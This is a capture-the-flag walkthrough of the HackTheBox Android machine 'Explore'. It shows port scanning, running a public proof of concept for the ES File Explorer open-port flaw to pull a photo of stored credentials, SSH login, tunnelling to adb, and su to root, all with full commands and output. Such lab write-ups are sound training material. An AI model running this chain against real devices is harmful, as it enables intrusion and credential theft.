Explore - [HTB]

Cover Image for Explore - [HTB]

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    Explore is a very easy Android machine from HackTheBox where the attacker will have to exploit a vulnerability for the application Es File Explorer in order to obtain RCE on the machine, obtaining the user credentials. Later, the attacker will have to use a SSH tunnel in order to access to the device using adb and becoming root.


    As always, let's start finding all opened ports in the machine with nmap.

    kali@kali:~/Documents/HTB/Explore$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt
    [sudo] password for kali: 
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-26 17:16 EDT
    Nmap scan report for
    Host is up (0.14s latency).
    Not shown: 65530 closed ports
    2222/tcp  open     EtherNetIP-1
    5555/tcp  filtered freeciv
    41657/tcp open     unknown
    42135/tcp open     unknown
    59777/tcp open     unknown
    Nmap done: 1 IP address (1 host up) scanned in 168.58 seconds

    Then, we continue with a deeper scan of every opened port getting more information about each service.

    kali@kali:~/Documents/HTB/Explore$ nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 2222,5555,41657,42135,59777
    Nmap scan report for
    Host is up (0.13s latency).
    2222/tcp  open     ssh     (protocol 2.0)
    | fingerprint-strings: 
    |   NULL: 
    |_    SSH-2.0-SSH Server - Banana Studio
    | ssh-hostkey: 
    |_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
    5555/tcp  filtered freeciv
    41657/tcp open     unknown
    42135/tcp open     http    ES File Explorer Name Response httpd
    |_http-title: Site doesn't have a title (text/html).
    59777/tcp open     http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
    |_http-title: Site doesn't have a title (text/plain).
    2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    # Nmap done at Sat Jun 26 17:26:02 2021 -- 1 IP address (1 host up) scanned in 109.46 seconds

    Looking on google about information for each port we discover that the port 59777 is used by the application ES File Explorer and has an CVE with a PoC on GitHub.


    Executing the PoC we can obtain the pictures stored in the device.

    kali@kali:/tmp/ESFileExplorerOpenPortVuln$ python3 poc.py --cmd listPics --host             
    [*] Executing command: listPics on
    [*] Server responded with: 200
    {"name":"concept.jpg", "time":"4/21/21 02:38:08 AM", "location":"/storage/emulated/0/DCIM/concept.jpg", "size":"135.33 KB (138,573 Bytes)", },                     
    {"name":"anc.png", "time":"4/21/21 02:37:50 AM", "location":"/storage/emulated/0/DCIM/anc.png", "size":"6.24 KB (6,392 Bytes)", },                                 
    {"name":"creds.jpg", "time":"4/21/21 02:38:18 AM", "location":"/storage/emulated/0/DCIM/creds.jpg", "size":"1.14 MB (1,200,401 Bytes)", },                         
    {"name":"224_anc.png", "time":"4/21/21 02:37:21 AM", "location":"/storage/emulated/0/DCIM/224_anc.png", "size":"124.88 KB (127,876 Bytes)", },                     

    Between all of them there is a file named creds.jgp that we can download with the following command.

    kali@kali:/tmp/ESFileExplorerOpenPortVuln$ python3 poc.py -g /storage/emulated/0/DCIM/creds.jpg --host  
    [*] Server responded with: 200              
    [*] Writing to file: creds.jpg
    Kristi's credentials

    In this photo we can read the user kristi and the password Kr1sT!5h@Rp3xPl0r3! that can be used for getting access through ssh.

    The user flag can be found at /sdcard/user.txt.

    kali@kali:~/Documents/HTB/Explore$ ssh -p 2222 kristi@
    :/sdcard $ cat user.txt                                                        

    Privilege Escalation

    Looking inside the file/etc/init.sh we can see that the port 5555 is being blocked by iptables so we can not access to the device using adb unless we create an SSH tunnel.

    :/sdcard $ cat /etc/init.sh 
    # Start rules
    iptables -A INPUT -p tcp -s localhost --dport 5555 -j ACCEPT
    iptables -A INPUT -p tcp --dport 5555 -j DROP
    # Starts the es_starter.sh
    sh /data/es_starter.sh &
    # Starts the ssh_starter.sh
    sh /data/ssh_starter.sh &

    In order to create that tunnel we need to execute the following command.

    kali@kali:~/Documents/HTB/Explore$ ssh -p 2222 kristi@ -L localhost:5555:localhost:5555 -fN
    • The flag -L creates a link in the local port 5555.
    • The flag -f puts SSH in the background so we can keep executing commands in the terminal.
    • The flag -N tells SSH that we do not want execute any command.

    Once the tunnel has been created we can connect to the device using adb, becoming root pretty easily.

    The commands are the following.

    kali@kali:~/Documents/HTB/Explore$ adb connect localhost:5555
    connected to localhost:5555
    kali@kali:~/Documents/HTB/Explore$ adb devices
    List of devices attached
    emulator-5554   device
    localhost:5555  device
    kali@kali:~/Documents/HTB/Explore$ adb -s localhost:5555 shell
    x86_64:/ $ id
    uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
    x86_64:/ $ su
    :/ # id
    uid=0(root) gid=0(root) groups=0(root) context=u:r:su:s0
    :/ # cat /data/root.txt